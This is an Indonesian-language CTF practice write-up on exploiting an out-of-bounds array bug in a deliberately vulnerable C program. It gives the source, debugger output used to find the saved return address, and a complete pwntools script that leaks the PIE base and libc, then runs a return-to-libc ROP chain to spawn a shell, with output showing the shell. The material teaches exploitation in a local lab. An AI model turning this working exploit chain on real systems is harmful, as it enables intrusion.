Out of bound array adalah kondisi saat user bisa memasukkan index array diluar dari space array yang diberikan, sehingga user dapat mengetahui, membocorkan sampai mengubah isi memori di luar array. Kita dapat melakukan leak terhadap canary dan PIE sampai mengubah return address tergantung dari program yang diberikan.
Kali ini kita akan coba demonstrasikan out of bound array untuk memanggil shell dengan teknik return to libc biasa.
Diberikan binary 64 bit dengan source code berikut
#include <stdio.h>
#include <stdlib.h>
//compile with gcc -o oob oob.c
//this binary is for learning about out of bound vuln to get a shell
int vuln(){
char junk[10];
char pil = 'y';
int index;
printf("x for quit\ni for isi\nr for read\n");
char newline;
while(pil != 'x'){
scanf("%c", &pil);
if(pil == 'i'){
//filling
scanf("%c", &newline);
scanf("%d", &index);
scanf("%c", &newline);
scanf("%c", &junk[index]);
printf("Index %d filled\n", index);
}
else if (pil == 'r'){
scanf("%d", &index);
printf("Your char on index %d is %d\n", index, junk[index]);
}
}
}
int main()
{
vuln();
return 0;
}
[*] '/home/alfakatsuki/CTF/practice/oob/oob'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Goals dari exploit kita adalah mendapatkan shell. Sehingga langkah langkah yang kita lakukan adalah sebagai berikut :
- Leak RIP dengan out of bound array
- Hitung base PIE address dengan RIP - offset RIP
- Menggunakan return to libc untuk Leak libc. Ambil contoh kita menggunakan printf. Seluruh alamat fungsi atau gadget yang ada di segment text, dapat dihitung dengan base PIE + offset
Kita akan break di offset
0x000000000000089B
. Karena PIE aktif dan aslr di GDB-PEDA mati, maka alamat break kita akan menjadi 0x000055555555489B
gdb-peda$ r
Starting program: /home/alfakatsuki/CTF/practice/oob/oob
x for quit
i for isi
r for read
i
1
A
Index 1 filled
i
0
A
Index 0 filled
i
2
A
Index 2 filled
i
3
A
Index 3 filled
gdb-peda$ find AAAA
Searching for 'AAAA' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fffffffda7e ("AAAAUUUU")
gdb-peda$ i f
Stack level 0, frame at 0x7fffffffdaa0:
rip = 0x55555555489b in vuln; saved rip = 0x5555555548f4
called by frame at 0x7fffffffdab0
Arglist at 0x7fffffffda90, args:
Locals at 0x7fffffffda90, Previous frames sp is 0x7fffffffdaa0
Saved registers:
rbp at 0x7fffffffda90, rip at 0x7fffffffda98
gdb-peda$
gdb-peda$ x/100bx 0x7fffffffda7e
0x7fffffffda7e: 0x41 0x41 0x41 0x41 0x55 0x55 0x55 0x55
0x7fffffffda86: 0x00 0x00 0x00 0xe3 0xe1 0x1e 0x04 0xa2
0x7fffffffda8e: 0xdb 0x2a 0xa0 0xda 0xff 0xff 0xff 0x7f
0x7fffffffda96: 0x00 0x00 0xf4 0x48 0x55 0x55 0x55 0x55
0x7fffffffda9e: 0x00 0x00 0x00 0x49 0x55 0x55 0x55 0x55
0x7fffffffdaa6: 0x00 0x00 0xf1 0x03 0xa3 0xf7 0xff 0x7f
0x7fffffffdaae: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
0x7fffffffdab6: 0x00 0x00 0x88 0xdb 0xff 0xff 0xff 0x7f
0x7fffffffdabe: 0x00 0x00 0x08 0xa5 0xb9 0xf7 0x01 0x00
0x7fffffffdac6: 0x00 0x00 0xe6 0x48 0x55 0x55 0x55 0x55
0x7fffffffdace: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdad6: 0x00 0x00 0x2b 0x45 0x28 0x8c 0x3c 0x4b
0x7fffffffdade: 0xb4 0x69 0x80 0x46
0x7fffffffda7e
dan RIP berada di 0x7fffffffda98
sehingga selisih nya menjadi 26.
Kita sudah mendapat semua informasi yang kita butuhkan. Mari kita coba susun exploit yang dapat kita lakukan.from pwn import *
# offset RIP berada pada index 26
p = process('./oob')
e = ELF('./oob')
def isi(i, ch):
p.sendline('i')
p.sendline(str(i))
p.sendline(ch)
p.recvuntil('filled\n')
def baca(i):
p.sendline('r')
p.sendline(str(i))
p.recvuntil('is ')
leaked = chr(eval(p.recvline()[:-1]) & 0xff)
return leaked
# Leaked RIP for find base PIE address
basepie = ''
offset_rip = 0x8f4
for i in range(26, 26+8):
basepie += baca(i)
basepie = u64(basepie)
basepie -= offset_rip
# Get Base PIE
log.info("Base PIE\t: 0x{0:x}".format(basepie))
gotprintf = p64(e.got['printf'] + basepie)
puts = p64(e.symbols['puts'] + basepie)
main = p64(e.symbols['main'] + basepie)
poprdi = p64(0x0000000000000963 + basepie)
poprsir15 = p64(0x0000000000000961 + basepie)
payload = poprdi + gotprintf + puts + main
log.info('Leaking libc')
k = 26
for i in payload:
isi(k, i)
k += 1
#Get Libc printf address
p.sendline('x')
printf = p.recvline()
printfaddr = u64(printf[:-1]+'\x00\x00')
log.info('Printf libc\t: 0x{0:x}'.format(printfaddr))
offset___libc_start_main_ret = 0x203f1
offset_system = 0x00000000000456a0
offset_dup2 = 0x00000000000f8fa0
offset_read = 0x00000000000f8880
offset_write = 0x00000000000f88e0
offset_str_bin_sh = 0x18ac40
offset_printf = 0x0000000000056510
# compute binsh string and system function in libc
base = printfaddr - offset_printf
sh = base + offset_str_bin_sh
system = base + offset_system
# Gaining shell
payload = poprdi + p64(sh) + p64(system)
log.info('Gaining shell')
k = 26
for i in payload:
isi(k, i)
k += 1
p.sendline('x')
p.interactive()
╭─── alfakatsuki@Ubuntu:[~/CTF/practice/oob]:
╰──▶ python sploit.py
[+] Starting local process './oob': pid 10632
[*] '/home/alfakatsuki/CTF/practice/oob/oob'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Base PIE : 0x5567a13d8000
[*] Leaking libc
[*] Printf libc : 0x7fcf7766d510
[*] Gaining shell
[*] Switching to interactive mode
$ ls
a.out oob oob.id0 oob.id2 oob.til peda-session-oob.txt
core oob.c oob.id1 oob.nam peda-session-a.out.txt sploit.py
$ id
uid=1000(alfakatsuki) gid=1000(alfakatsuki) groups=1000(alfakatsuki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare),998(docker)
$